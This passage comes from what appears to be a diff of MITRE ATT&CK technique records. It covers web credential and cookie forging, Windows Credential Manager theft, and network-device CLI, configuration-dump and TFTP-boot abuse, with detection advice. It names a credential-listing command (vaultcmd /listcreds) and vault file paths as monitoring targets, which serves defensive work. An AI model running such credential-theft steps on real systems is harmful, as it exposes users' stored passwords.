Strom, Microsoft 365 Defender', 'Oleg Kolesnikov, Securonix']","['Logon Session: Logon Session Creation', 'Web Credential: Web Credential Creation', 'Web Credential: Web Credential Usage']",,"This technique may be difficult to detect as SAML tokens are signed by a trusted certificate. The forging process may not be detectable since it is likely to happen outside of a defender's visibility, but subsequent usage of the forged token may be seen. Monitor for anomalous logins using SAML tokens created by a compromised or adversary generated token-signing certificate. These logins may occur on any on-premises resources as well as from any cloud environment that trusts the certificate.(Citation: Microsoft SolarWinds Customer Guidance) Search for logins to service providers using SAML SSO which do not have corresponding 4769, 1200, and 1202 events in the Domain.(Citation: Sygnia Golden SAML) -Consider modifying SAML responses to include custom elements for each service provider. Monitor these custom elements in service provider access logs to detect any anomalous requests.(Citation: Sygnia Golden SAML)","['Logon Session: Logon Session Creation', 'Web Credential: Web Credential Creation', 'Web Credential: Web Credential Usage']","['Blake Strom, Microsoft 365 Defender', 'Oleg Kolesnikov, Securonix']",,['Administrator'],"['Azure AD', 'SaaS', 'Windows', 'Office 365', 'Google Workspace']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1606.001', 'url': 'https://attack.mitre.org/techniques/T1606/001'}, {'description': 'Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.', 'url': 'https://wunderwuzzi23.github.io/blog/passthecookie.html', 'source_name': 'Pass The Cookie'}, {'source_name': 'Volexity SolarWinds', 'url': 'https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/', 'description': 'Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.'}, {'source_name': 'Unit 42 Mac Crypto Cookies January 2019', 'url': 'https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/', 'description': 'Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.0,True,https://attack.mitre.org/techniques/T1606/001,mitre-attack,T1606.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Web Cookies,"Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access. +Consider modifying SAML responses to include custom elements for each service provider. Monitor these custom elements in service provider access logs to detect any anomalous requests.(Citation: Sygnia Golden SAML)",True,['Administrator'],"['Azure AD', 'SaaS', 'Windows', 'Office 365', 'Google Workspace', 'IaaS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1606/001', 'external_id': 'T1606.001'}, {'source_name': 'Pass The Cookie', 'description': 'Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.', 'url': 'https://wunderwuzzi23.github.io/blog/passthecookie.html'}, {'source_name': 'Volexity SolarWinds', 'description': 'Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.', 'url': 'https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/'}, {'source_name': 'Unit 42 Mac Crypto Cookies January 2019', 'description': 'Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.', 'url': 'https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/'}]",1.1,attack-pattern,attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-12-17T02:14:34.178Z,2021-09-20T16:48:28.041Z,Web Cookies,"Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access. Adversaries may generate these cookies in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation: Pass The Cookie) The generation of web cookies often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values. -Once forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)",attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a,attack-pattern,['credential-access'],2021-01-11T20:31:36.404Z,2020-12-17T02:14:34.178Z,"Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.","['Logon Session: Logon Session Creation', 'Web Credential: Web Credential Creation', 'Web Credential: Web Credential Usage']",,,,"['Linux', 'macOS', 'Windows', 'SaaS']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1606', 'url': 'https://attack.mitre.org/techniques/T1606'}, {'source_name': 'GitHub AWS-ADFS-Credential-Generator', 'url': 'https://github.com/damianh/aws-adfs-credential-generator', 'description': 'Damian Hickey. (2017, January 28). AWS-ADFS-Credential-Generator. Retrieved December 16, 2020.'}, {'description': 'Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.', 'url': 'https://wunderwuzzi23.github.io/blog/passthecookie.html', 'source_name': 'Pass The Cookie'}, {'source_name': 'Unit 42 Mac Crypto Cookies January 2019', 'url': 'https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/', 'description': 'Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.'}, {'source_name': 'Microsoft SolarWinds Customer Guidance', 'url': 'https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/', 'description': 'MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.1,False,https://attack.mitre.org/techniques/T1606,mitre-attack,T1606,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Forge Web Credentials,"Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access. +Once forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)",['credential-access'],https://attack.mitre.org/techniques/T1606/001,mitre-attack,T1606.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jen Burns, HubSpot']","['Logon Session: Logon Session Creation', 'Web Credential: Web Credential Creation', 'Web Credential: Web Credential Usage']",,"Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.",True,,"['Linux', 'macOS', 'Windows', 'SaaS', 'IaaS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1606', 'external_id': 'T1606'}, {'source_name': 'GitHub AWS-ADFS-Credential-Generator', 'description': 'Damian Hickey. (2017, January 28). AWS-ADFS-Credential-Generator. Retrieved December 16, 2020.', 'url': 'https://github.com/damianh/aws-adfs-credential-generator'}, {'source_name': 'Pass The Cookie', 'description': 'Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.', 'url': 'https://wunderwuzzi23.github.io/blog/passthecookie.html'}, {'source_name': 'Unit 42 Mac Crypto Cookies January 2019', 'description': 'Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.', 'url': 'https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/'}, {'source_name': 'Microsoft SolarWinds Customer Guidance', 'description': 'MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.', 'url': 'https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/'}]",1.2,attack-pattern,attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-12-17T02:13:46.247Z,2021-10-12T14:26:52.179Z,Forge Web Credentials,"Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access. Adversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator) -Once forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance)",attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c,attack-pattern,['credential-access'],2021-04-14T14:29:27.631Z,2020-12-17T02:13:46.247Z,"Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.","['Logon Session: Logon Session Creation', 'Web Credential: Web Credential Creation', 'Web Credential: Web Credential Usage']",,,,"['SaaS', 'Windows', 'macOS', 'Linux', 'Azure AD', 'Office 365', 'Google Workspace']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1555.004', 'url': 'https://attack.mitre.org/techniques/T1555/004'}, {'source_name': 'Microsoft Credential Manager store', 'url': 'https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)#credential-manager-store', 'description': 'Microsoft. (2016, August 31). Cached and Stored Credentials Technical Overview. Retrieved November 24, 2020.'}, {'source_name': 'Microsoft Credential Locker', 'url': 'https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/jj554668(v=ws.11)?redirectedfrom=MSDN', 'description': 'Microsoft. (2013, October 23). Credential Locker Overview. Retrieved November 24, 2020.'}, {'source_name': 'passcape Windows Vault', 'url': 'https://www.passcape.com/windows_password_recovery_vault_explorer', 'description': 'Passcape. (n.d.). Windows Password Recovery - Vault Explorer and Decoder. Retrieved November 24, 2020.'}, {'source_name': 'Malwarebytes The Windows Vault', 'url': 'https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/ ', 'description': 'Arntz, P. (2016, March 30). The Windows Vault . Retrieved November 23, 2020.'}, {'source_name': 'Microsoft CredEnumerate', 'url': 'https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratea', 'description': 'Microsoft. (2018, December 5). CredEnumarateA function (wincred.h). Retrieved November 24, 2020.'}, {'source_name': 'Delpy Mimikatz Crendential Manager', 'url': 'https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials', 'description': 'Delpy, B. (2017, December 12). howto ~ credential manager saved credentials. Retrieved November 23, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.0,True,https://attack.mitre.org/techniques/T1555/004,mitre-attack,T1555.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Windows Credential Manager,"Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker) +Once forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance)",['credential-access'],https://attack.mitre.org/techniques/T1606,mitre-attack,T1606,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Logon Session: Logon Session Creation', 'Web Credential: Web Credential Creation', 'Web Credential: Web Credential Usage']",,"Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.",False,,"['SaaS', 'Windows', 'macOS', 'Linux', 'Azure AD', 'Office 365', 'Google Workspace', 'IaaS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1555/004', 'external_id': 'T1555.004'}, {'source_name': 'Microsoft Credential Manager store', 'description': 'Microsoft. (2016, August 31). Cached and Stored Credentials Technical Overview. Retrieved November 24, 2020.', 'url': 'https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)#credential-manager-store'}, {'source_name': 'Microsoft Credential Locker', 'description': 'Microsoft. (2013, October 23). Credential Locker Overview. Retrieved November 24, 2020.', 'url': 'https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/jj554668(v=ws.11)?redirectedfrom=MSDN'}, {'source_name': 'passcape Windows Vault', 'description': 'Passcape. (n.d.). Windows Password Recovery - Vault Explorer and Decoder. Retrieved November 24, 2020.', 'url': 'https://www.passcape.com/windows_password_recovery_vault_explorer'}, {'source_name': 'Malwarebytes The Windows Vault', 'description': 'Arntz, P. (2016, March 30). The Windows Vault . Retrieved November 23, 2020.', 'url': 'https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/ '}, {'source_name': 'Microsoft CredEnumerate', 'description': 'Microsoft. (2018, December 5). CredEnumarateA function (wincred.h). Retrieved November 24, 2020.', 'url': 'https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratea'}, {'source_name': 'Delpy Mimikatz Crendential Manager', 'description': 'Delpy, B. (2017, December 12). howto ~ credential manager saved credentials. Retrieved November 23, 2020.', 'url': 'https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials'}]",1.0,attack-pattern,attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-11-23T15:35:53.793Z,2021-04-29T21:00:18.973Z,Windows Credential Manager,"Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker) The Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker. @@ -148,44 +257,44 @@ Credential Lockers store credentials in encrypted .vcrd files, loca Adversaries may list credentials managed by the Windows Credential Manager through several mechanisms. vaultcmd.exe is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may gather credentials by reading files located inside of the Credential Lockers. Adversaries may also abuse Windows APIs such as CredEnumerateA to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager) -Adversaries may use password recovery tools to obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)",attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447,attack-pattern,['credential-access'],2021-04-29T21:00:18.973Z,2020-11-23T15:35:53.793Z,"Monitor process and command-line parameters of vaultcmd.exe for suspicious activity, such as listing credentials from the Windows Credentials locker (i.e., vaultcmd /listcreds:“Windows Credentials”).(Citation: Malwarebytes The Windows Vault) +Adversaries may use password recovery tools to obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)",['credential-access'],https://attack.mitre.org/techniques/T1555/004,mitre-attack,T1555.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Bernaldo Penas Antelo', 'Mugdha Peter Bansode']","['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution', 'File: File Access']",,"Monitor process and command-line parameters of vaultcmd.exe for suspicious activity, such as listing credentials from the Windows Credentials locker (i.e., vaultcmd /listcreds:“Windows Credentials”).(Citation: Malwarebytes The Windows Vault) Consider monitoring API calls such as CredEnumerateA that may list credentials from the Windows Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager) -Consider monitoring file reads to Vault locations, %Systemdrive%\Users\\[Username]\AppData\Local\Microsoft\\[Vault/Credentials]\, for suspicious activity.(Citation: Malwarebytes The Windows Vault)","['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution', 'File: File Access']","['Bernaldo Penas Antelo', 'Mugdha Peter Bansode']",,['User'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1059.008', 'url': 'https://attack.mitre.org/techniques/T1059/008'}, {'source_name': 'Cisco Synful Knock Evolution', 'url': 'https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices', 'description': 'Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Command History', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#23', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]",1.0,True,https://attack.mitre.org/techniques/T1059/008,mitre-attack,T1059.008,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Network Device CLI,"Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. +Consider monitoring file reads to Vault locations, %Systemdrive%\Users\\[Username]\AppData\Local\Microsoft\\[Vault/Credentials]\, for suspicious activity.(Citation: Malwarebytes The Windows Vault)",True,['User'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1059/008', 'external_id': 'T1059.008'}, {'source_name': 'Cisco Synful Knock Evolution', 'description': 'Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.', 'url': 'https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Command History', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#23'}]",1.1,attack-pattern,attack-pattern--818302b2-d640-477b-bf88-873120ce85c4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-20T00:09:33.072Z,2021-07-26T15:57:50.800Z,Network Device CLI,"Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. -Scripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or secure shell (SSH). +Scripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004). -Adversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection. (Citation: Cisco Synful Knock Evolution)",attack-pattern--818302b2-d640-477b-bf88-873120ce85c4,attack-pattern,['execution'],2020-10-22T16:43:38.388Z,2020-10-20T00:09:33.072Z,"Consider reviewing command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.(Citation: Cisco IOS Software Integrity Assurance - Command History) +Adversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection. (Citation: Cisco Synful Knock Evolution)",['execution'],https://attack.mitre.org/techniques/T1059/008,mitre-attack,T1059.008,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Command: Command Execution'],,"Consider reviewing command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.(Citation: Cisco IOS Software Integrity Assurance - Command History) -Consider comparing a copy of the network device configuration against a known-good version to discover unauthorized changes to the command interpreter. The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.",['Command: Command Execution'],,,"['Administrator', 'User']",['Network'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1602.002', 'url': 'https://attack.mitre.org/techniques/T1602/002'}, {'source_name': 'US-CERT TA18-106A Network Infrastructure Devices 2018', 'url': 'https://us-cert.cisa.gov/ncas/alerts/TA18-106A', 'description': 'US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.'}, {'source_name': 'US-CERT TA18-068A 2018', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-086A', 'description': 'US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]",1.0,True,https://attack.mitre.org/techniques/T1602/002,mitre-attack,T1602.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Network Device Configuration Dump,"Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use. +Consider comparing a copy of the network device configuration against a known-good version to discover unauthorized changes to the command interpreter. The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.",True,"['Administrator', 'User']",['Network'],True,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1602/002', 'external_id': 'T1602.002'}, {'source_name': 'US-CERT TA18-106A Network Infrastructure Devices 2018', 'description': 'US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.', 'url': 'https://us-cert.cisa.gov/ncas/alerts/TA18-106A'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954'}, {'source_name': 'US-CERT TA18-068A 2018', 'description': 'US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-086A'}]",1.0,attack-pattern,attack-pattern--52759bf1-fe12-4052-ace6-c5b0cf7dd7fd,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-20T00:08:21.745Z,2020-10-22T01:45:55.144Z,Network Device Configuration Dump,"Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use. -Adversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files. (Citation: US-CERT TA18-106A Network Infrastructure Devices 2018) (Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis. ",attack-pattern--52759bf1-fe12-4052-ace6-c5b0cf7dd7fd,attack-pattern,['collection'],2020-10-22T01:45:55.144Z,2020-10-20T00:08:21.745Z,Identify network traffic sent or received by untrusted hosts or networks. Configure signatures to identify strings that may be found in a network device configuration. (Citation: US-CERT TA18-068A 2018),"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,,['Administrator'],['Network'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1542.005', 'url': 'https://attack.mitre.org/techniques/T1542/005'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Secure Boot', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#35', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure Boot. Retrieved October 19, 2020.'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Image File Verification', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#7', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Run-Time Memory Verification', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#13', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Command History', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#23', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Boot Information', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#26', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Boot Information. Retrieved October 21, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.0,True,https://attack.mitre.org/techniques/T1542/005,mitre-attack,T1542.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,TFTP Boot,"Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images. +Adversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files. (Citation: US-CERT TA18-106A Network Infrastructure Devices 2018) (Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis. ",['collection'],https://attack.mitre.org/techniques/T1602/002,mitre-attack,T1602.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,Identify network traffic sent or received by untrusted hosts or networks. Configure signatures to identify strings that may be found in a network device configuration. (Citation: US-CERT TA18-068A 2018),True,['Administrator'],['Network'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1542/005', 'external_id': 'T1542.005'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', 'url': 